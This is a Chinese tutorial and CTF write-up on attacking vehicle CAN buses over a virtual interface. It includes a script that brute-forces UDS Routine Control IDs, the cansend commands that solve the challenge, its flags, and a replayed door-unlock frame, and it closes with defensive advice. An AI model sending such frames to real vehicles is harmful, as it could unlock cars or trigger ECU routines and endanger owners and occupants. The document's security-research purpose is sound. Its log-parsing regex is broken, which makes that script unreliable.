车联网安全之渗透实战 —— CAN 总线及协议:能读懂车内语言
字数 1582
更新时间 2026-01-31 12:08:40
车联网安全渗透实战:CAN总线协议深度解析与实操指南
1. CAN总线基础概念
1.1 CAN总线概述
CAN(Controller Area Network)是一种多主、广播式、基于仲裁的总线系统,广泛应用于汽车电子控制系统。与以太网/TCP-IP的关键区别如下:
| 对比项 | CAN | 以太网/IP |
|---|---|---|
| 通信模式 | 广播(Broadcast) | 点对点 |
| 地址 | 无MAC/IP | 有 |
| 认证 | 无 | 有(TLS/Session) |
| 加密 | 无 | 可选 |
| 冲突处理 | 硬件仲裁 | 碰撞/重传 |
| 实时性 | 强实时 | 尽力而为 |
1.2 CAN帧结构
标准CAN帧(Classic CAN)结构:
+---------+--------+-----+---------+------+
| CAN ID | DLC | RTR | DATA | CRC |
+---------+--------+-----+---------+------+
11 bit 0~8 B <= 8 B
在can-utils中的显示格式:
vcan0 19B [8] 00 00 0E 00 00 00 00 00
或简化格式:
19B#00000E000000
1.3 CAN ID的重要性
- ID不是"源地址/目的地址",而是"优先级+语义"
- 仲裁规则:ID数值越小,优先级越高
- 关键系统(刹车、转向)ID通常较小,娱乐系统ID较大
2. 环境搭建与工具配置
2.1 工具安装
# Ubuntu/Debian系统
sudo apt update
sudo apt install -y can-utils python3-pip
pip3 install python-can
2.2 虚拟CAN网卡创建
# 加载vcan模块
sudo modprobe vcan
# 创建虚拟CAN接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
# 验证创建成功
ip -details link show vcan0
2.3 常见问题解决
如缺少vcan模块:
sudo apt install linux-headers-$(uname -r) linux-source
3. CAN流量分析与信号识别
3.1 基础抓包操作
# 实时查看CAN流量(带时间戳)
candump -tz vcan0
# 保存日志文件
candump -l vcan0 # 自动命名
candump -f normal.log vcan0 # 自定义命名
candump -L vcan0 > out.log # stdout输出
3.2 流量生成与模拟
# 生成随机CAN流量(模拟ECU广播)
candump -tz vcan0
cangen vcan0 -g 10 -L 8 -v # 每10ms发一帧,DLC=8
3.3 信号分析工具使用
3.3.1 cansniffer分析
cansniffer vcan0
功能:突出显示变化字节,便于信号定位
3.3.2 计数器信号模拟
# 模拟ECU心跳计数
while true; do
for i in $(seq 0 255); do
printf -v b "%02X" $i
cansend vcan0 123#${b}00000000000000
sleep 0.05
done
done
4. 实战案例解析
4.1 Routine Control挑战案例
场景:通过诊断服务执行预定义步骤序列
服务信息:
- 服务ID:0x31(Routine Control)
- 子功能:开始(01)、停止(02)、获取结果(03)
攻击脚本:
import can
import time
import binascii
bus = can.Bus(interface='socketcan', channel='vcan0')
for i in range(0,0xFF):
for j in range(0,0xFF):
message = can.Message(
arbitration_id=0x7E0,
is_extended_id=False,
dlc=8,
data=[0x04, 0x31, 0x01, i, j, 0x00, 0x00, 0x00]
)
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
if result != "037f3131":
print("i: ",hex(i)," j: ",hex(j))
bus.shutdown()
成功利用:
cansend vcan0 7E0#0431011337000000 && \
cansend vcan0 7E0#0431031337000000 && \
cansend vcan0 7E0#3000000000000000
获得flag:bh{c0ntroll1ng_th3_r0ut1nes}
4.2 ASRG CTF CAP2挑战案例
目标:从CAN嗅探数据中找出被篡改的交通信号灯信号
分析步骤:
- 使用Wireshark分析pcap文件
- 关注ID 157的数据帧(最可疑)
- 提取每个数据帧的最后一位bit
- 过滤虚假时间戳(0.000000)
- 成功提取隐藏flag:
flag_05B2873A2FA21D297D3442FF
5. 日志记录与回放技术
5.1 日志记录方法
# 方法1:自动命名
candump -l vcan0
# 方法2:自定义文件名
candump -f normal_log vcan0
5.2 日志回放与分析
# 按原始时间间隔回放
canplayer -I candump-2026-01-20_*.log
# ID差异分析
cat normal_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > normal_ids.txt
cat door_unlock_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > unlock_ids.txt
diff normal_ids.txt unlock_ids.txt
5.3 信号确认与重放
# 确认特定控制消息
cat door_unlock_log | awk '{print $3}' | grep 19B# | uniq
# 输出:19B#00000E000000
# 重放验证
cansend vcan0 19B#00000E000000
6. 自动化分析工具
6.1 CAN日志分析脚本
#!/usr/bin/env python3
import re
import csv
from collections import defaultdict
from statistics import median
def parse_log(file_path):
"""解析candump日志文件"""
frames = []
pattern = re.compile(r'$([\d.]+)$\s+\S+\s+([0-9A-F]+)#([0-9A-F]*)')
with open(file_path, 'r') as f:
for line in f:
match = pattern.match(line)
if match:
ts, can_id, data = match.groups()
frames.append((float(ts), can_id, bytes.fromhex(data)))
return frames
def analyze_frequency(frames):
"""分析ID频率"""
freq = defaultdict(list)
for ts, can_id, _ in frames:
freq[can_id].append(ts)
result = {}
for can_id, timestamps in freq.items():
if len(timestamps) > 1:
intervals = [timestamps[i] - timestamps[i-1] for i in range(1, len(timestamps))]
result[can_id] = 1 / median(intervals)
return result
6.2 实时变化检测脚本
#!/usr/bin/env python3
import can
import time
def monitor_changes(channel="vcan0", target_id=None):
"""实时监控CAN总线变化"""
bus = can.Bus(interface="socketcan", channel=channel)
last_data = {}
print(f"监控接口: {channel}")
while True:
msg = bus.recv(1) # 1秒超时
if msg is not None:
if target_id is None or msg.arbitration_id == target_id:
current_data = msg.data
prev_data = last_data.get(msg.arbitration_id)
if prev_data is not None and current_data != prev_data:
print(f"ID 0x{msg.arbitration_id:X} 数据变化")
for i, (curr, prev) in enumerate(zip(current_data, prev_data)):
if curr != prev:
print(f" 字节[{i}]: {prev:02X} -> {curr:02X}")
last_data[msg.arbitration_id] = current_data
7. ISO-TP协议应用
7.1 ISO-TP基础
ISO 15765-2协议,用于在CAN总线上传输大于8字节的消息
7.2 实际操作示例
# 接收端
isotprecv -s 7e1 -d 7e9 -c vcan0
# 发送端
echo -n "Hello-ISO-TP-Over-CAN" | isotpsend -s 7e1 -d 7e9 -c vcan0
8. 防御与加固建议
8.1 安全风险点
- 无认证机制:CAN总线缺乏消息认证
- 无加密保护:数据明文传输
- 广播特性:所有节点接收所有消息
8.2 防护措施
- 网络分割:关键ECU使用独立CAN总线
- 网关过滤:在网关层实现消息过滤
- 入侵检测:基于异常检测的CAN IDS
- 安全协议:实现CAN总线认证加密(如CANAuth)
9. 参考资料
- can-utils工具集:https://github.com/linux-can/can-utils
- Linux内核CAN文档:https://www.kernel.org/doc/html/latest/networking/can.html
- python-can库文档:https://python-can.readthedocs.io/
- ICSim工具:https://github.com/zombieCraig/ICSim
本教学文档基于实际渗透测试经验,涵盖了CAN总线从基础概念到高级攻击技术的完整知识体系,适用于车联网安全研究和技术防御加固。